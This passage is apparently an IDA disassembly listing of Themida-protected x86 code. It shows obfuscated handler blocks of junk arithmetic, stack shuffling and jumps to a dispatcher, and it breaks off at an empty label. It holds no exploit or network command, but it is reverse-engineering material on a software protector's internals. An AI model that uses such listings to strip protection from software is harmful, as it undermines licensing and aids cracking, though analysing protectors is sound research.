mov ebp, 6A935D60h
sub edx, ebp
mov ebp, [esp]
add esp, 4
add edx, 29570659h
add edx, eax
push esi
jmp loc_58FB82
; ---------------------------------------------------------------------------
push 2C8438B0h
pop eax
push ecx
push 65E133D0h
pop ecx
sub ecx, 0FFFFFFFFh
jmp loc_590E64
; ---------------------------------------------------------------------------
loc_5897CB: ; CODE XREF: Themida_:00589E24j
mov edi, [esp]
add esp, 4
sub [edi+24h], ebx
mov ebx, [esp]
add esp, 4
loc_5897DA: ; CODE XREF: Themida_:0058A693j
push ebp
mov ebp, ebx
push ecx
push esp
pop ecx
push ebp
jmp loc_58EF05
; ---------------------------------------------------------------------------
loc_5897E6: ; CODE XREF: Themida_:0058CEF1j
add [esp], ax
pushf
jmp loc_589462
; ---------------------------------------------------------------------------
loc_5897F0: ; CODE XREF: Themida_:0058D5EAj
mov edx, eax
pop eax
pop ebx
add edx, 78FC2477h
neg edx
neg edx
xor edx, 9B3C5E45h
jmp loc_58BC5F
; ---------------------------------------------------------------------------
loc_589809: ; CODE XREF: Themida_:005896FAj
mov ebx, [esp]
jmp loc_58FCDB
; ---------------------------------------------------------------------------
loc_589811: ; CODE XREF: Themida_:0058A465j
mov [esp], edx
jmp loc_58D607
; ---------------------------------------------------------------------------
loc_589819: ; CODE XREF: Themida_:0058CB6Aj
push 75B9h
mov [esp], esp
jmp loc_58F75D
; ---------------------------------------------------------------------------
loc_589826: ; CODE XREF: Themida_:0058E19Cj
shl ecx, 6
jmp loc_590CA1
; ---------------------------------------------------------------------------
loc_58982E: ; CODE XREF: Themida_:0058BE61j
mov ebp, 7EA93ABBh
jmp loc_58A286
; ---------------------------------------------------------------------------
loc_589838: ; CODE XREF: Themida_:00589922j
sub ecx, 5FAD475Fh
add ecx, edi
add ecx, 5FAD475Fh
pop edi
add ecx, 4
xchg ecx, [esp]
pop esp
sub esp, 4
mov [esp], edx
push esp
pop edx
add edx, 4
add edx, 4
push edx
jmp loc_59454A
; ---------------------------------------------------------------------------
loc_589865: ; CODE XREF: Themida_:0058C808j
pop esp
add ebx, 4
add ebx, 2
xchg ebx, [esp]
mov esp, [esp]
ror word ptr [esp], cl
pushf
jmp loc_589462
; ---------------------------------------------------------------------------
loc_589882: ; CODE XREF: Themida_:0058DC26j
dec eax
neg eax
xor eax, 8767F91h
sub eax, 0A8850DEFh
sub edx, eax
mov eax, [esp]
add esp, 4
sub edx, 3E327BADh
add edx, 23447C9Fh
add edx, edi
push ebx
mov ebx, 23447C9Fh
sub edx, ebx
pop ebx
add edx, 3E327BADh
mov eax, [edx]
mov edx, [esp]
push 51B4h
mov [esp], ecx
mov ecx, esp
jmp loc_590956
; ---------------------------------------------------------------------------
loc_5898C8: ; CODE XREF: Themida_:0058B2F2j
mov [esp], ebx
mov ebx, 3Ch
sub esp, 4
mov [esp], ebp
jmp loc_58DD4D
; ---------------------------------------------------------------------------
loc_5898DB: ; CODE XREF: Themida_:0059107Fj
sub dword ptr [esp], 160E2FEBh
pop edx
jmp loc_58A687
; ---------------------------------------------------------------------------
loc_5898E8: ; CODE XREF: Themida_:00591BDAj
dec ecx
push ecx
jmp loc_591FF6
; ---------------------------------------------------------------------------
loc_5898EF: ; CODE XREF: Themida_:0058C16Ej
add esp, 4
add eax, 4
add eax, 4
push 2CDFh
mov [esp], eax
push dword ptr [esp+4]
pop eax
pop dword ptr [esp]
mov esp, [esp]
push dword ptr [esp]
push dword ptr [esp]
pop eax
push ecx
mov ecx, esp
push edi
mov edi, 4
jmp loc_589838
; ---------------------------------------------------------------------------
loc_589927: ; CODE XREF: Themida_:0058D32Fj
push cx
not word ptr [esp]
mov cx, [esp]
jmp loc_594811
; ---------------------------------------------------------------------------
loc_589936: ; CODE XREF: Themida_:005925BEj
add esp, 4
xor ebx, [esp]
xor [esp], ebx
xor ebx, [esp]
pop esp
add eax, edx
jmp loc_58F38A
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop eax
adc [esp], eax
pushf
jmp loc_589462
; ---------------------------------------------------------------------------
loc_58995B: ; CODE XREF: Themida_:0059284Fj
push esp
pop ecx
jmp loc_5914BB
; ---------------------------------------------------------------------------
loc_589962: ; CODE XREF: Themida_:00591642j
add esp, 4
and eax, ecx
pop ecx
shr eax, 0Eh
xor eax, ecx
push 5901h
mov [esp], eax
sub esp, 4
mov [esp], ecx
mov eax, [esp]
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
pop esp
push dword ptr [esp]
pop ecx
add esp, 4
not ecx
push eax
sub esp, 4
jmp loc_58D9D2
; ---------------------------------------------------------------------------
loc_5899A6: ; CODE XREF: Themida_:0058C09Ej
pop esp
mov [esp], edi
push esp
pop edi
push eax
mov eax, 4
add edi, eax
pop eax
push edx
mov edx, 2BFE76B7h
not edx
not edx
sub edx, 2BFE76B3h
sub edi, edx
jmp loc_58ED1A
; ---------------------------------------------------------------------------
loc_5899CC: ; CODE XREF: Themida_:00591489j
mov ebp, 60B25D7Dh
xor ebp, 1AA12431h
or ebp, 50002297h
dec ebp
add ebp, 0B8C3BA08h
xor eax, ebp
pop ebp
push dword ptr [edi+eax*4]
jmp loc_59209F
; ---------------------------------------------------------------------------
loc_5899EF: ; CODE XREF: Themida_:00590E40j
pop ebp
and eax, edi
push dword ptr [esp]
pop edi
push edi
mov edi, esp
add edi, 4
jmp loc_594C76
; ---------------------------------------------------------------------------
loc_589A04: ; CODE XREF: Themida_:00594ACAj
shr dl, 1
xor dl, 0FBh
sub bl, dl
mov dx, [esp]
add esp, 2
movzx eax, al
push dword ptr [edi+eax*4]
jmp loc_589462
; ---------------------------------------------------------------------------
loc_589A1D: ; CODE XREF: Themida_:005955AAj
mov [esp], di
mov di, 62h
sub cx, di
mov di, [esp]
add esp, 2
add ax, cx
mov ecx, [esp]
add esp, 4
sub esp, 2
mov [esp], bp
jmp loc_590C16
; ---------------------------------------------------------------------------
loc_589A4A: ; CODE XREF: Themida_:0058A083j
add esp, 4
mov edx, [esp]
jmp loc_5924B5
; ---------------------------------------------------------------------------
loc_589A55: ; CODE XREF: Themida_:0058C0FFj
push esi
mov esi, 4B2C3928h
mov ebx, 0E2D5C9D8h
add ebx, esi
mov esi, [esp]
push edx
mov edx, esp
add edx, 4
jmp loc_58F2F9
; ---------------------------------------------------------------------------
loc_589A73: ; CODE XREF: Themida_:00589C31j
mov esi, [esp]
add esp, 4
sub edx, edi
jmp loc_5935E1
; ---------------------------------------------------------------------------
loc_589A80: ; CODE XREF: Themida_:0058B004j
push ebp
mov ebp, 4
add edi, ebp
pop ebp
push ecx
jmp loc_590779
; ---------------------------------------------------------------------------
loc_589A8F: ; CODE XREF: Themida_:00590B1Ej
xchg edx, [esp]
pop esp
add al, 6Ch
jmp loc_58AE9A
; ---------------------------------------------------------------------------
loc_589A9A: ; CODE XREF: Themida_:0059507Dj
sub bl, ch
add bl, 15h
push dword ptr [esp]
pop ecx
jmp loc_58B00F
; ---------------------------------------------------------------------------
loc_589AA8: ; CODE XREF: Themida_:0058A1B7j
add esi, 6C5944Ch
jmp loc_5906A3
; ---------------------------------------------------------------------------
loc_589AB3: ; CODE XREF: Themida_:00589F62j
xor edx, edi
pop edi
jmp loc_58AE3D
; ---------------------------------------------------------------------------
loc_589ABB: ; CODE XREF: Themida_:0059027Dj
push ebp
mov ebp, 1CC6402Dh
push esi
mov esi, 10CD46D7h
not esi
jmp loc_589D1D
; ---------------------------------------------------------------------------
loc_589ACE: ; CODE XREF: Themida_:0059589Cj
add bl, 4Bh
jmp loc_593BBD
; ---------------------------------------------------------------------------
loc_589AD6: ; CODE XREF: Themida_:0058D992j
push dword ptr [esp+4]
pop eax
jmp loc_58DAA8
; ---------------------------------------------------------------------------
loc_589AE0: ; CODE XREF: Themida_:005895BAj
add esp, 4
shr ecx, 7
push ecx
push ebx
mov ebx, 1Ch
jmp loc_58AC7A
; ---------------------------------------------------------------------------
loc_589AF5: ; CODE XREF: Themida_:0058F0D0j
pop ecx
add ecx, 4
jmp loc_58F073
; ---------------------------------------------------------------------------
loc_589B01: ; CODE XREF: Themida_:0058FAA3j
push ebp
mov ebp, 45FE358Bh
shl ebp, 7
jmp loc_58B7B0
; ---------------------------------------------------------------------------
loc_589B0F: ; CODE XREF: Themida_:0059061Fj
push dword ptr [esp]
pop edx
add esp, 4
xor eax, edx
jmp loc_5907DA
; ---------------------------------------------------------------------------
loc_589B1D: ; CODE XREF: Themida_:005913CAj
push 20D7h
mov [esp], edi
mov edi, esp
add edi, 4
sub edi, 4
push edi
push dword ptr [esp+4]
pop edi
pop dword ptr [esp]
pop esp
jmp loc_589D6C
; ---------------------------------------------------------------------------
loc_589B42: ; CODE XREF: Themida_:0058E877j
mov esi, ebx
jmp loc_5901E8
; ---------------------------------------------------------------------------
loc_589B49: ; CODE XREF: Themida_:0058F9C8j
xor [esp], ecx
jmp loc_59387C
; ---------------------------------------------------------------------------
loc_589B51: ; CODE XREF: Themida_:0058EEA0j
sub esi, 7CE56064h
sub esi, 74371390h
add esi, 20ED13A9h
or esi, 66471E3Ah
inc esi
xor esi, 7C655E5Eh
jmp loc_58CDA2
; ---------------------------------------------------------------------------
loc_589B75: ; CODE XREF: Themida_:0058C6EEj
pop edi
sub [edi+24h], esi
mov esi, [esp]
add esp, 4
loc_589B7F: ; CODE XREF: Themida_:005911BCj
push 319Fh
mov [esp], ebx
push edx
mov edx, 8D31F31h
add [esp+4], edx
pop edx
pop eax
push ebx
jmp loc_5900CB
; ---------------------------------------------------------------------------
loc_589B99: ; CODE XREF: Themida_:0058B710j
movzx eax, al
push dword ptr [edi+eax*4]
jmp loc_58D29F
; ---------------------------------------------------------------------------
loc_589BA4: ; CODE XREF: Themida_:0059287Fj
pop esp
jmp loc_589462
; ---------------------------------------------------------------------------
loc_589BAA: ; CODE XREF: Themida_:00590C11j
push 2193h
mov [esp], eax
mov eax, 421B06B2h
jmp loc_58E2D1
; ---------------------------------------------------------------------------
loc_589BBC: ; CODE XREF: Themida_:00591DC3j
pop edi
push 6117h
mov [esp], edx
mov edx, 460633ADh
dec edx
not edx
push edi
mov edi, 2BAF2E6Ch
push 27ABh
mov [esp], eax
mov eax, 7F8A6C39h
sub eax, 2B481E2Bh
inc eax
and eax, 32D56976h
add eax, 29C380Ah
add eax, 266AB8D2h
and edi, eax
pop eax
not edi
shl edi, 1
push 12CEh
mov [esp], ecx
mov ecx, 46D40615h
xor ecx, 435810CFh
sub ecx, 18883AC8h
sub ecx, 0A2ADB545h
and edi, ecx
mov ecx, [esp]
add esp, 4
shr edi, 4
push esi
mov esi, 1BF926A4h
xor edi, esi
jmp loc_589A73
; ---------------------------------------------------------------------------
loc_589C36: ; CODE XREF: Themida_:00593E21j
and ah, dl
pop edx
push edx
mov dh, 0A6h
jmp loc_594E30
; ---------------------------------------------------------------------------
loc_589C41: ; CODE XREF: Themida_:00590BD5j
mov esi, [esp]
add esp, 4
sub dword ptr [edi+24h], 0AEC1264h
sub dword ptr [edi+24h], 0FFFFFFFFh
dec dword ptr [edi+24h]
add dword ptr [edi+24h], 0FBFFDB22h
jmp loc_58A7D4
; ---------------------------------------------------------------------------
loc_589C64: ; CODE XREF: Themida_:00595974j
push edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp]
pop esp
and eax, ecx
push dword ptr [esp]
pop ecx
add esp, 4
shr eax, 12h
jmp loc_591909
; ---------------------------------------------------------------------------
loc_589C8B: ; CODE XREF: Themida_:0058B7A5j
ror dword ptr [esp], cl
pushf
jmp loc_589462
; ---------------------------------------------------------------------------
loc_589C94: ; CODE XREF: Themida_:0059297Dj
mov esp, [esp]
mov [esp], esp
add dword ptr [esp], 4
pop ecx
push ebp
mov ebp, 3EBD3E40h
shr ebp, 4
xor ebp, 564A1B64h
xor ebp, 55A1C884h
add ecx, ebp
pop ebp
sub ecx, 4
jmp loc_58BBD7
; ---------------------------------------------------------------------------
loc_589CC2: ; CODE XREF: Themida_:0058E576j
mov [esp], edx
push esp
pop edx
add edx, 4
add edx, 4
sub esp, 4
mov [esp], edx
push dword ptr [esp+4]
pop edx
pop dword ptr [esp]
mov esp, [esp]
add eax, 7C1E3220h
sub esp, 4
mov [esp], esi
jmp loc_58D261
; ---------------------------------------------------------------------------
loc_589CF4: ; CODE XREF: Themida_:0058B312j
push dword ptr [esp]
mov eax, [esp]
add esp, 4
push edi
push esp
pop edi
jmp loc_58DB9A
; ---------------------------------------------------------------------------
loc_589D08: ; CODE XREF: Themida_:00594E60j
or ecx, 7584503Fh
jmp loc_593BD4
; ---------------------------------------------------------------------------
loc_589D13: ; CODE XREF: Themida_:0058A552j
mov esi, edx
mov edx, [esp]
jmp loc_59183D
; ---------------------------------------------------------------------------
loc_589D1D: ; CODE XREF: Themida_:00589AC9j
shr esi, 2
sub esi, 0FCF9D4ADh
add ebp, esi
mov esi, [esp]
jmp loc_592B0F
; ---------------------------------------------------------------------------
loc_589D30: ; CODE XREF: Themida_:0058AB0Fj
add esp, 4
pop cx
movzx eax, al
push dword ptr [edi+eax*4]
jmp loc_594925
; ---------------------------------------------------------------------------
loc_589D43: ; CODE XREF: Themida_:005929FFj
pop edx
xchg bh, ah
not bh
xchg bh, ah
xor ah, 88h
jmp loc_58C40F
; ---------------------------------------------------------------------------
loc_589D52: ; CODE XREF: Themida_:00593BCFj
mov esi, 250B6788h
mov edi, 1C0B1B36h
xor edi, esi
pop esi
shl edi, 3
push 0BF6h
jmp loc_58D02E
; ---------------------------------------------------------------------------
loc_589D6C: ; CODE XREF: Themida_:00589B3Dj
mov [esp], edx
mov dh, 0E2h
xor dh, 0EAh
jmp loc_58C32F
; ---------------------------------------------------------------------------
lodsd
xor eax, ebx
push 23F6h
mov [esp], edi
mov edi, 75610C61h
inc edi
jmp loc_593D84
; ---------------------------------------------------------------------------
loc_589D8F: ; CODE XREF: Themida_:00593353j
push 3CACh
mov [esp], ecx
mov ecx, 6AE918B1h
jmp loc_594445
; ---------------------------------------------------------------------------
loc_589DA1: ; CODE XREF: Themida_:005957A4j
push ecx
jmp loc_58BAB3
; ---------------------------------------------------------------------------
loc_589DA7: ; CODE XREF: Themida_:0058ACA8j
mov dl, ch
pop ecx
pop eax
neg dl
jmp loc_593E19
; ---------------------------------------------------------------------------
loc_589DB2: ; CODE XREF: Themida_:00590550j
pop eax
shl eax, 2
sub eax, 5AFD2216h
mov edi, eax
jmp loc_58B4D3
; ---------------------------------------------------------------------------
loc_589DC2: ; CODE XREF: Themida_:0058B058j
mov esp, [esp]
add esp, 4
jmp loc_589462
; ---------------------------------------------------------------------------
loc_589DD0: ; CODE XREF: Themida_:005894CCj
mov [esp], esi
mov esi, 0F412F92h
add dword ptr [esp+8], 3FA40BD7h
add [esp+8], esi
sub dword ptr [esp+8], 3FA40BD7h
mov esi, [esp]
add esp, 4
mov esi, [esp]
jmp loc_595223
; ---------------------------------------------------------------------------
loc_589DFD: ; CODE XREF: Themida_:0058EF6Fj
pop eax
jmp loc_592299
; ---------------------------------------------------------------------------
loc_589E03: ; CODE XREF: Themida_:005929A1j
mov eax, edi
mov esi, eax
pop eax
mov ebx, esi
push dword ptr [esp]
pop esi
push ebp
mov ebp, esp
add ebp, 4
push ebx
mov ebx, 4
add ebp, ebx
pop ebx
xchg ebp, [esp]
pop esp
jmp loc_5897CB
; ---------------------------------------------------------------------------
loc_589E29: ; CODE XREF: Themida_:0058C82Fj
push edx
jmp loc_5936F2
; ---------------------------------------------------------------------------
loc_589E2F: ; CODE XREF: Themida_:005919E6j
shl dh, 1
and dh, 73h
push bx
mov bl, 0FEh
sub dh, bl
pop bx
shr dh, 7
jmp loc_58DBDC
; ---------------------------------------------------------------------------
loc_589E44: ; CODE XREF: Themida_:00593CDFj
push esp
jmp loc_5930B3
; ---------------------------------------------------------------------------
loc_589E4A: ; CODE XREF: Themida_:005923DBj
sub esi, eax
pop eax
and esi, 61603BBEh
sub esp, 4
mov [esp], ebx
push 78BF3E1Fh
pop ebx
add ebx, 67F95283h
add ebx, 6D8E768Ch
and esi, ebx
pop ebx
jmp loc_58F207
; ---------------------------------------------------------------------------
loc_589E76: ; CODE XREF: Themida_:0059585Aj
add eax, 4
jmp loc_590BE9
; ---------------------------------------------------------------------------
loc_589E80: ; CODE XREF: Themida_:0058C545j
pop esi
push edi
mov edi, 921423Ch
jmp loc_58CB2C
; ---------------------------------------------------------------------------
loc_589E8C: ; CODE XREF: Themida_:00592832j
add esi, 0CEDB194Ah
add edx, 41AB54B8h
add edx, esi
sub edx, 41AB54B8h
jmp loc_58C604
; ---------------------------------------------------------------------------
loc_589EA5: ; CODE XREF: Themida_:00593B42j
pop ebp
jmp loc_590A8A
; ---------------------------------------------------------------------------
loc_589EAB: ; CODE XREF: Themida_:0058D577j
add ecx, 4
xchg ecx, [esp]
mov esp, [esp]
shl ebx, 2
jmp loc_594DF9
; ---------------------------------------------------------------------------
loc_589EBC: ; CODE XREF: Themida_:0058D335j
and edx, ecx
pop ecx
jmp loc_595183
; ---------------------------------------------------------------------------
loc_589EC4: ; CODE XREF: Themida_:00594C79j
xchg edi, [esp]
mov esp, [esp]
or eax, eax
jz loc_58C2FE
sub esp, 4
mov [esp], ebx
jmp loc_589769
; ---------------------------------------------------------------------------
loc_589EDD: ; CODE XREF: Themida_:0058C960j
add eax, 4
sub eax, 4
xor eax, [esp]
xor [esp], eax
xor eax, [esp]
jmp loc_58C454
; ---------------------------------------------------------------------------
loc_589EF3: ; CODE XREF: Themida_:00595AF1j
not dword ptr [esp]
pop ebx
neg ebx
add ebx, 0FF8CC98Ah
sub eax, 0E0F3F8Bh
jmp loc_589635
; ---------------------------------------------------------------------------
loc_589F09: ; CODE XREF: Themida_:0058AA18j
mov ch, 1Bh
xor dl, ch
pop ecx
xchg bh, dl
not bh
xor dl, bh
xor bh, dl
xor dl, bh
push eax
mov ah, dl
neg ah
mov dl, ah
pop eax
or dl, 8Dh
sub dl, 0FFh
sub esp, 2
mov [esp], bx
mov bh, dl
inc bh
mov dl, bh
pop bx
push ax
push ebx
mov bl, 27h
dec bl
neg bl
neg bl
or bl, 4Fh
or bl, 0A3h
jmp loc_58BA78
; ---------------------------------------------------------------------------
loc_589F4B: ; CODE XREF: Themida_:00595969j
mov dl, 0Bh
sub bl, dl
pop edx
movzx eax, al
mov dx, [esp]
jmp loc_58E9A9
; ---------------------------------------------------------------------------
loc_589F5C: ; CODE XREF: Themida_:00595B60j
sub edi, 0D3C1C21Ah
jmp loc_589AB3
; ---------------------------------------------------------------------------
loc_589F67: ; CODE XREF: Themida_:0058FC64j
mov [esp], edi
jmp loc_58BA86
; ---------------------------------------------------------------------------
loc_589F6F: ; CODE XREF: Themida_:0058A311j
mov eax, 27C81F13h
mov ebp, eax
pop eax
push ecx
mov ecx, 195B75CBh
neg ecx
push ebp
mov ebp, 100D6635h
or ecx, ebp
pop ebp
or ecx, 15D413BEh
add ecx, 129E584Dh
add ebp, 64FF42C2h
sub ebp, ecx
sub ebp, 64FF42C2h
pop ecx
neg ebp
xchg edi, ebp
xchg edx, edi
not edx
xchg edx, edi
xchg edi, ebp
push ecx
mov ecx, 436817AFh
sub ecx, 6093DEB1h
jmp loc_58E8BC
; ---------------------------------------------------------------------------
loc_589FC0: ; CODE XREF: Themida_:005927E2j
mov edx, 4F780455h
add [esp+8], edx
pop edx
jmp loc_58F933
; ---------------------------------------------------------------------------
mov cx, [esp]
sub esp, 4
mov [esp], ecx
mov ecx, esp
sub esp, 4
jmp loc_5940FD
; ---------------------------------------------------------------------------
loc_589FE3: ; CODE XREF: Themida_:0058EA69j
mov ebx, [esp]
jmp loc_58C3E1
; ---------------------------------------------------------------------------
loc_589FEB: ; CODE XREF: Themida_:0058D0EAj
pop eax
jmp loc_58CC43
; ---------------------------------------------------------------------------
lodsd
xor eax, ebx
push edi
mov edi, esp
add edi, 4
sub edi, 4
xchg edi, [esp]
pop esp
jmp loc_58B279
; ---------------------------------------------------------------------------
loc_58A009: ; CODE XREF: Themida_:00592126j
sub ebx, 29E278B2h
xor ebx, 648CA795h
mov edi, ebx
mov ebx, [esp]
jmp loc_590AFC
; ---------------------------------------------------------------------------
loc_58A01F: ; CODE XREF: Themida_:0058AE95j
movzx cx, al
push cx
pushf
jmp loc_589462
; ---------------------------------------------------------------------------
loc_58A02B: ; CODE XREF: Themida_:0058DF8Ej
mov ebx, esp
add ebx, 4
push ecx
mov ecx, 4
add ebx, ecx
pop ecx
jmp loc_58FCE3
; ---------------------------------------------------------------------------
loc_58A041: ; CODE XREF: Themida_:0058B7FCj
pop eax
xchg edx, [esp]
pop esp
or ebx, 3FC31441h
neg ebx
push edx
mov edx, 1D6F0CF6h
shr edx, 1
jmp loc_58D511
; ---------------------------------------------------------------------------
mov cx, [esp]
push 14ADh
mov [esp], edx
jmp loc_593C8F
; ---------------------------------------------------------------------------
loc_58A06C: ; CODE XREF: Themida_:0058B091j
jmp loc_589462
; ---------------------------------------------------------------------------
mov cx, [esp]
push 3E8Ah
jmp loc_58A6B6
; ---------------------------------------------------------------------------
loc_58A07F: ; CODE XREF: Themida_:00591F4Ej
push dword ptr [esp]
pop eax
jmp loc_589A4A
; ---------------------------------------------------------------------------
loc_58A088: ; CODE XREF: Themida_:00594F54j
pop eax
xchg ebx, [esp]
mov esp, [esp]
bt [esp], eax
pushf
jmp loc_589462
; ---------------------------------------------------------------------------
loc_58A099: ; CODE XREF: Themida_:0058A61Ej
sub edx, 75746FA1h
pop ebx
add eax, 5E1B5954h
jmp loc_5946D0
; ---------------------------------------------------------------------------
loc_58A0AA: ; CODE XREF: Themida_:0059592Fj
add ebx, ebp
pop ebp
push 2E5Eh
mov [esp], eax
jmp loc_58D1DE
; ---------------------------------------------------------------------------
loc_58A0BA: ; CODE XREF: Themida_:00594289j
add edx, 0FF468E45h
add ecx, edx
pop edx
sub esp, 4
mov [esp], ecx
jmp loc_58DA80
; ---------------------------------------------------------------------------
lodsd
add eax, 1EAD136Eh
sub eax, ebx
jmp loc_594EEE
; ---------------------------------------------------------------------------
loc_58A0DE: ; CODE XREF: Themida_:0058B948j
and eax, ebx
mov ebx, [esp]
add esp, 4
shr eax, 18h
xor eax, ecx
jmp loc_58DA71
; ---------------------------------------------------------------------------
loc_58A0F0: ; CODE XREF: Themida_:00590DE7j
pop edi
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
add ecx, 4
push ecx
push dword ptr [esp+4]
jmp loc_594C40
; ---------------------------------------------------------------------------
loc_58A111: ; CODE XREF: Themida_:00591060j
sub ecx, 21BA142h
jmp loc_58FE40
; ---------------------------------------------------------------------------
loc_58A11C: ; CODE XREF: Themida_:0058F35Ej
add eax, 5A7F6EB5h
push ecx
mov ecx, 9C7E31A1h
push esi
push edx
push 402876D8h
pop edx
jmp loc_58D95B
; ---------------------------------------------------------------------------
loc_58A134: ; CODE XREF: Themida_:00593D2Fj
xor eax, 4A752782h
xor eax, 61B00DEEh
sub eax, 0DAADE3F3h
mov ecx, eax
mov eax, [esp]
jmp loc_58E463
; ---------------------------------------------------------------------------
loc_58A14D: ; CODE XREF: Themida_:0058E652j
add eax, 4B5E667Ah
sub eax, 228976A3h
push ecx
mov ecx, 22FF2745h
jmp loc_592EC2
; ---------------------------------------------------------------------------
loc_58A162: ; CODE XREF: Themida_:00595335j
mov [esp], edx
push ecx
mov ch, 0F5h
sub esp, 4
jmp loc_58BD3C
; ---------------------------------------------------------------------------
loc_58A173: ; CODE XREF: Themida_:00595158j
pop ebx
jmp loc_58AD5D
; ---------------------------------------------------------------------------
loc_58A179: ; CODE XREF: Themida_:0058F02Ej
add edi, ebx
pop ebx
add edi, 4
xchg edi, [esp]
pop esp
and eax, edi
pop edi
shr eax, 0Ah
xor eax, ecx
push eax
push 1900h
jmp loc_58B753
; ---------------------------------------------------------------------------
loc_58A199: ; CODE XREF: Themida_:005910A3j
xor esi, ecx
pop ecx
add ebp, esi
pop esi
push 5E32h
jmp loc_5937C3
; ---------------------------------------------------------------------------
loc_58A1A9: ; CODE XREF: Themida_:0058CDFEj
idiv cx
jmp loc_5931C9
; ---------------------------------------------------------------------------
loc_58A1B1: ; CODE XREF: Themida_:00593918j
shr esi, 5
shr esi, 6
jmp loc_589AA8
; ---------------------------------------------------------------------------
loc_58A1BC: ; CODE XREF: Themida_:0058C5F1j
mov edx, 42825EFEh
xor ebx, edx
jmp loc_591A32
; ---------------------------------------------------------------------------
loc_58A1C8: ; CODE XREF: Themida_:0058E6F4j
mov [esp], eax
mov eax, esp
push esi
push 4
pop esi
add eax, 1F6369Ch
add eax, esi
jmp loc_58FF71
; ---------------------------------------------------------------------------
loc_58A1E0: ; CODE XREF: Themida_:005926B5j
mov ebx, [esp]
jmp loc_593303
; ---------------------------------------------------------------------------
loc_58A1E8: ; CODE XREF: Themida_:0059080Ej
push edi
jmp loc_58BE01
; ---------------------------------------------------------------------------
loc_58A1EE: ; CODE XREF: Themida_:0058C6C1j
mov edi, esi
pop esi
add ebp, edi
pop edi
push ecx
push esi
push edx
mov edx, 333B6859h
mov esi, edx
pop edx
xor esi, 333B685Dh
mov ecx, esi
pop esi
sub ebp, ecx
jmp loc_592C93
; ---------------------------------------------------------------------------
loc_58A20F: ; CODE XREF: Themida_:0058C77Aj
sub edi, esi
pop esi
pop ebp
xchg edi, [esp]
mov esp, [esp]
push ebx
mov ebx, 18CF5D74h
sub dword ptr [esp+4], 36A10B9Fh
jmp loc_58F962
; ---------------------------------------------------------------------------
loc_58A22C: ; CODE XREF: Themida_:0058AC94j
dec ebp
and ebp, 7BB109BAh
and ebp, 7B2B40ACh
xor ebp, 2901008Ch
sub edi, 5950E2Bh
add edi, ebp
add edi, 5950E2Bh
pop ebp
push esi
jmp loc_592D22
; ---------------------------------------------------------------------------
loc_58A254: ; CODE XREF: Themida_:0058CC18j
mov esp, [esp]
jmp loc_58B1B1
; ---------------------------------------------------------------------------
loc_58A25C: ; CODE XREF: Themida_:005926ACj
mov ebx, 32A72AE1h
not ebx
jmp loc_5931D7
; ---------------------------------------------------------------------------
loc_58A268: ; CODE XREF: Themida_:0058DC89j
add edx, ecx
add edx, 1B87197Dh
mov ecx, [esp]
add esp, 4
sub edx, 292F1B11h
sub edx, eax
jmp loc_58BB42
; ---------------------------------------------------------------------------
loc_58A286: ; CODE XREF: Themida_:00589833j
push edx
push eax
mov eax, 35122BD7h
mov edx, eax
pop eax
add ebp, edx
pop edx
jmp loc_58CD77
; ---------------------------------------------------------------------------
loc_58A298: ; CODE XREF: Themida_:0059417Cj
sub edi, 1CF3BAAAh
add ecx, edi
pop edi
add ecx, 8F6F35B5h
jmp loc_58A3B0
; ---------------------------------------------------------------------------
loc_58A2AC: ; CODE XREF: Themida_:005910AFj
add eax, 61164BB4h
sub eax, ebp
sub eax, 61164BB4h
push dword ptr [esp]
pop ebp
jmp loc_5941B9
; ---------------------------------------------------------------------------
loc_58A2C1: ; CODE XREF: Themida_:00593110j
pop eax
xor edi, ecx
pop ecx
shr edi, 1
push ecx
mov ecx, 225325A6h
jmp loc_590705
; ---------------------------------------------------------------------------
lodsd
jmp loc_591324
; ---------------------------------------------------------------------------
loc_58A2D8: ; CODE XREF: Themida_:005907B5j
push dword ptr [esp+4]
pop ecx
pop dword ptr [esp]
pop esp
mov [esp], eax
mov eax, 2074356h
add eax, 41F02D9h
push edi
push 73EC6533h
pop edi
not edi
dec edi
neg edi
jmp loc_58CEF6
; ---------------------------------------------------------------------------
loc_58A2FF: ; CODE XREF: Themida_:00590D17j
add esp, 4
sub eax, 26050C2Ch
push edi
jmp loc_5937AD
; ---------------------------------------------------------------------------
loc_58A30D: ; CODE XREF: Themida_:00591D0Fj
mov [esp], ebp
push eax
jmp loc_589F6F
; ---------------------------------------------------------------------------
push dword ptr [esp]
pop eax
push ebp
push esp
pop ebp
push esi
jmp loc_58C533
; ---------------------------------------------------------------------------
push dword ptr [edi+40h]
jmp loc_589462
; ---------------------------------------------------------------------------
loc_58A32B: ; CODE XREF: Themida_:0058E3F7j
push ebx
push esi
push eax
push 414E3709h
pop eax
add eax, 24905D90h
add eax, 0BED1AC2Fh
mov esi, eax
jmp loc_58CEC7
; ---------------------------------------------------------------------------
loc_58A345: ; CODE XREF: Themida_:0058D956j
push dword ptr [esp+4]
pop edx
pop dword ptr [esp]
mov esp, [esp]
mov [esp], edi
mov edi, 15C161E2h
sub eax, edi
mov edi, [esp]
add esp, 4
sub eax, ebx
push esi
mov esi, 23A94D11h
add esi, 0FFFFFFFFh
neg esi
push eax
mov eax, 48A21FFDh
sub eax, 0BF36661h
xor eax, 0FA3BE892h
sub esi, eax
pop eax
add eax, esi
push dword ptr [esp]
pop esi
jmp loc_592119
; ---------------------------------------------------------------------------
loc_58A38B: ; CODE XREF: Themida_:0058C44Fj
add edi, 4
xchg edi, [esp]
pop esp
add esp, 4
push ecx
push edx
push 1E60h
mov [esp], edi
push ebx
mov ebx, 37361CBBh
push ebx
pop edi
pop ebx
jmp loc_592C10
; ---------------------------------------------------------------------------
loc_58A3B0: ; CODE XREF: Themida_:0058A2A7j
add edi, 31D1A70h
add edi, ecx
sub edi, 31D1A70h
pop ecx
add edi, 2
xchg edi, [esp]
pop esp
bts [esp], ax
pushf
jmp loc_589462
; ---------------------------------------------------------------------------
loc_58A3D1: ; CODE XREF: Themida_:0058D9BCj
pop ebx
add esp, 4
jmp loc_58D57C
; ---------------------------------------------------------------------------
unk_58A3DD db 0 ; CODE XREF: Themida_:0058E4BBj
; ---------------------------------------------------------------------------
rcr byte ptr [edx+66h], 1
pop ecx
sub esp, 2
mov [esp], dx
push 4F73h
jmp loc_595AF6
; ---------------------------------------------------------------------------
loc_58A3F3: ; CODE XREF: Themida_:005915A9j
